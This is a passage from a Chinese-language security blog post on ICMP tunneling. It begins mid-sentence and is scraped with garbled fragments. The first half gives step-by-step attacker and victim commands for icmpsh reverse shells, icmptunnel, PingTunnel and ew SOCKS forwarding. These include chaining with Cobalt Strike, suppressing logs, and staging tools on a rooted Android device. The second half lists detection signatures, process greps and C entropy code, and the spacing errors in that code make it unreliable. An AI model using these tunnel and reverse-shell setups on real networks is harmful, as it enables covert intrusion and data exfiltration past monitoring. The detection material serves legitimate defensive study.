forwarded. -s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb rpi4:/data/local #
最后更新于2013年,受控端(客户端)使用C语言实现,只能运行在目标Windows机器上;而主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。能通过ICMP协议反弹cmd,不用管理员权限,但反弹回来的cmd极不稳定,不推荐使用
下载地址:https://github.com/bdamele/icmpsh
# 下载icmpsh
git clone https://github.com/inquisb/icmpsh.git
# 禁用ICMP echo回复,防止内核自己对ping包进行响应<可选>
sysctl -w net.ipv4.icmp_echo_ignore_all=1
# 攻击端执行
python icmpsh_m.py <attacker's-IP> <target-IP>
# 受害者端执行
icmpsh.exe -t <attacker's-IP>
最后更新于2017年,创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用
下载地址:https://github.com/DhavalKapil/icmptunnel
受害者端安装与编译
## 安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.git
make
# 禁用ICMP echo回复,防止内核自己对ping包进行响应<可选>
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
# 启动隧道(root权限)
[sudo] ./icmptunnel -s 10.0.1.1
# 观察路由
route -n
攻击端安装和编译
## 安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.git
make
# 禁用ICMP echo回复,防止内核自己对ping包进行响应<可选>
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
# 修改client.sh
route add -host [server-IP] gw [client-IP] dev eth0
# 建立隧道
[sudo] ./icmptunnel -c [server-IP]
PTunnel是一种可以把TCP链接通过ICMP的显示请求(ping请求)和回复(ping回复)包进行传输的工具。这种工具能够将数据信息隐秘地送入或送出网络,可以用于只有ICMP数据流允许出入的网络的情况
下载地址:http://www.cs.uit.no/~daniels/PingTunnel/
下载地址:https://github.com/jakkarth/icmptx
下载地址:https://code.gerade.org/hans/
监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 47.244.96.168 服务器的 8888 端口
客户端转发 tcp:用管理员权限运行,不同的转发功能所对应的命令,如果看到有 ping pong 的 log,说明连接正常
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
./pingtunnel -type client -l :4455 -s 192.168.26.52 -t 192.168.26.52:4455 -tcp 1
服务端:
pingtunnel.exe -type server
此处可以结合PingTunnel跟cobalt strike,步骤如下:
./pingtunnel -type client -l :4451 -s 192.168.26.52 -t 192.168.26.52:4455 -tcp 1
127.0.0.1的4451端口
,一个监听192.168.26.52的4455端口
192.168.26.52的4455端口
会看到机器上线实战复现步骤:
./pingtunnel -type server -noprint 1 -nolog 1
注:建议一定要加noprint nolog两个参数,否则会生成大量的日志文件
./ew_for_linux64 -s rcsocks -l 10080 -e 8898
https://github.com/idlefire/ew/blob/master/ew_for_Arm32
https://github.com/extremecoders-re/tcpdump-android-builds/releases/tag/v1.0
# 传 tcpdump 到 目录 /data/local/ adb push d:\pingtunnel /data/local/tcpdump # 设置权限 adb shell chmod 6755 /data/local/tcpdump # 启动监听程序 并将监听的数据包存放在/sdcard/test_icmp.pcap adb shell su cd /data/local ./tcpdump -p -vv -s0 -w /sdcard/xxx_icmp.pcap # 下载pcap包 adb pull /sdcard/icmp---222--2222_icmp.pcap d:/ # 传 ew_for_Arm32 到 目录 /data/local/ adb push d:\ew_for_Arm32 /data/local/ew # 设置权限 adb shell chmod 6755 /data/local/ew
./pingtunnel -type client -l :9999 -s 43.xxx.182 -t 43.xxx.182:8898 -sock5 -1
./ew_for_Arm32 -s rssocks -d 127.0.0.1 -e 9999
什么都不做的情况下,只是做了端口转发,后半部分的值都是可变的如下:
W\
:57 5c
W]
:57 5d
唯一不变的两个特征如下:此处建议使用AC自动机或BM算法,多模式匹配,可以更好的降低误报
_;E3
:e4 5f 01 a6 ee 08 d4 3b 04 0b de d9 08 00 45 00 00 33
e4 5f 01 a6 ee 08 d4 3b 04 0b de d9 08 00 45
;_E3
:d4 3b 04 0b de d9 e4 5f 01 a6 ee 08 08 00 45 00 00 33
d4 3b 04 0b de d9 e4 5f 01 a6 ee 08 08 00 45
除了上面说的匹配data数据中的流量特征来做检测外,下面列出了其它一些检测ICMP流量的方法:
[github.com/esrrhs/go-engine/src/pingtunnel.(*Client).ping] ping
5b 67 69 74 68 75 62 2e 63 6f 6d 2f 65 73 72 72 68 73 2f 67 6f 2d 65 6e 67 69 6e 65 2f 73 72 63 2f 70 69 6e 67 74 75 6e 6e 65 6c 2e 28 2a 43 6c 69 65 6e 74 29 2e 70 69 6e 67 5d 20 70 69 6e 67
3)检查请求数据包与对应的响应数据包内容是否一样(多模匹配)
4)如果ICMP的type类型出现了0和8(0为请求数据,8为响应数据)以外的类型,产生告警
5)检查type,ICMP隧道存在一些type为13/15/17的带payload的畸形数据包(畸形Ping报文,判断Type是否异常)
6)ICMP 数据包中 payload 大于 64 比特的数据包和icmp包异常的多,且长度也很长。但不排除攻击者专门配置限制所有数据包的 payload 为 64 比特(攻击者会单独设置限定长度正常为64比特,然后切片再拼装),让检测更难以发现
1)Proto:网络协议,包括传输控制协议(TCP)和用户数据报协议(UDP)
1)Local Address:本地计算机的IP地址和正在使用的端口号。除非使用-n参数,否则将显示与IP地址和端口对应的主机名称。如果主机正在侦听所有端口,则主机名显示为星号(*)。如果端口尚未建立,则端口号显示为星号
1)Foreign Address:远程计算机的IP地址和正在使用的端口号。除非指定了-n参数,否则将显示与IP地址和端口对应的主机名称。如果端口尚未建立,则端口号显示为星号(*)
1)State:TCP连接的状态,可能的状态包括CLOSE_WAIT、CLOSED、ESTABLISHED、FIN_WAIT_1、FIN_WAIT_2、LAST_ACK、LISTEN、SYN_RECEIVED、SYN_SEND和TIME_WAIT
ps -ef | grep "-sock5 1"
或 ps -ef | grep "-sock5 -1"
ps -ef | grep "-tcp 1"
或 ps -ef | grep "-tcp -1"
ps -ef | grep "-udp 1"
或 ps -ef | grep "-udp -1"
ps -ef | grep "-type client"
0
:30 da fa 06
9)检测data数据包中没有加密的命令特征
10)检测报文信息熵,信息熵可用来表示网络流量特征值(如源/目的 IP地址,源/目的端口号,数据包长度等
)的分布特征。将网络中网络流的会话和数据包看成是离散的特征序列,并根据这些序列求得的信息熵可以反映网络的通信状态。当攻击到来时,某些特征的分布状态会发生改变,这个特征的信息熵值就可以作为一种标识来判断攻击的发生
test.doc
进行传输dGVzdC5kb2M=
,然后编码常用域名,变成dG->zone.music.domain, Vz -> login.user.domain, dC -> ....
//判断是否存在 intIsRepeat(int x,u_char y,u_char** z) { for(int n = 0; n < x; n++) { if(z[0][n] == y) { z[1][n] += 1; return1; } } return 0; } //返回存在个数 intRepeatCount(u_char* x,int y,u_char** z) { z[0][0]=*x; z[1][0]=1; int maxC=1; x++; for(int n=0;n<y-1;n++) { if(!IsRepeat(maxC, *x, z)) { z[0][maxC]=*x; z[1][maxC]=1; maxC++; } x++; } return maxC; } //log换底公式 floatMathLogFunc(float x) { return(x*(log(x)/log(2))); } //计算报文的熵 floatCalcEntropy(int x, int y, u_char** z) { float result = 0; for(int n = 0; n < x; n++) { result += -MathLogFunc((float)z[1][n]/y); } returnresult; } floatgetEntropy(u_char* x, int y) { u_char**tmp = (u_char**)malloc(2 * sizeof(u_char*)); for(inti1 = 0; i1 < 2 ; i1++) { tmp[i1] = (u_char*)malloc(y * sizeof(u_char)); memset(tmp[i1], 0, y * sizeof(u_char)); } floatresult = CalcEntropy(RepeatCount(x, y, tmp), y, tmp); for(inti2 = 0; i2 < 2;i2++) { free(tmp[i2]); } free(tmp); returnresult; } 计算标准方差: //计算平均值 floatCalcAverage(float* x, int y) { floattmp = 0; for(inti = 0; i < y; i++) { tmp+= x[i]; } return((float)tmp/y); } //计算标准方差 floatCalcSD(float* x,int y) { float average = CalcAverage(x, y); float tmp = 0; for(int i = 0; i < y; i++) { tmp += (float)pow(x[i] - average, 2); } return((float)sqrt(tmp/y)); }
正常ping百度、163等网站的ICMP报文,计算出来的为0:
而通过利用工具产生的隧道报文时,报文熵的标准方差会很大:
icmptunnel
工具,就会,可以使用route -n
查看路由状况,发现不在白名单内的路由就产生告警/proc/sys/net/ipv4/icmp_echo_ignore_all
是否为1,因为黑客会一般会禁用ICMP echo
回复,防止内核自己对ping包进行响应cat /proc/sys/net/ipv4/icmp_echo_ignore_all
net.ipv4.ip_forward
是否为1,在一些ICMP隧道攻击它会做端口转发的操作,但这类工具应该是最初级的了,因为已经不够隐蔽了,攻击者会尝试开启Android的内部路由转发,如果检测开启了内部路由转发就产生告警cat /proc/sys/net/ipv4/ip_forward
Windows:
Linux:
Windows、Linux异常:
参考链接:
https://www.fortinet.com/cn/resources/cyberglossary/waf-vs-firewall
https://blog.51cto.com/xjsunjie/637830
http://www.kokojia.com/article/19432.html
https://developer.aliyun.com/article/254770
https://blog.csdn.net/cy524563/article/details/41677665
https://cloud.tencent.com/developer/article/1035444
https://cloud.tencent.com/developer/article/1036809
http://blog.csdn.net/tenfyguo/article/details/7478584
https://mp.weixin.qq.com/s/KxC0rqJaJD96hfkREjx29Q
https://blog.51cto.com/c959c/5331934
https://mp.weixin.qq.com/s/yuZ6P2hDkZvORkLqN8tueA
https://blog.csdn.net/u011784495/article/details/71743516
https://klose911.github.io/html/tii/icmp.html
https://mp.weixin.qq.com/s/vs0UR-B6MsIgk9G6iaDF5w
https://mp.weixin.qq.com/s/XTf_u1NLezs4v5aI8wr_fg
https://mp.weixin.qq.com/s/3SujLofRpxA2RfLljFbW1Q
https://my.oschina.net/Tsybius2014/blog/306981
https://zhuanlan.zhihu.com/p/49981590
https://blog.csdn.net/inject2006/article/details/3030222
https://mp.weixin.qq.com/s/Gthb3toQyWe5i_CSX42lhA
https://mp.weixin.qq.com/s/pco67kJJTar6P-4zI-LLcw
https://fishpond.blog.csdn.net/article/details/124060260
https://www.freebuf.com/articles/web/282931.html
https://forum.butian.net/share/400
https://www.anquanke.com/post/id/163240#h3-3
你以为你有很多路可以选择,其实你只有一条路可以走
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。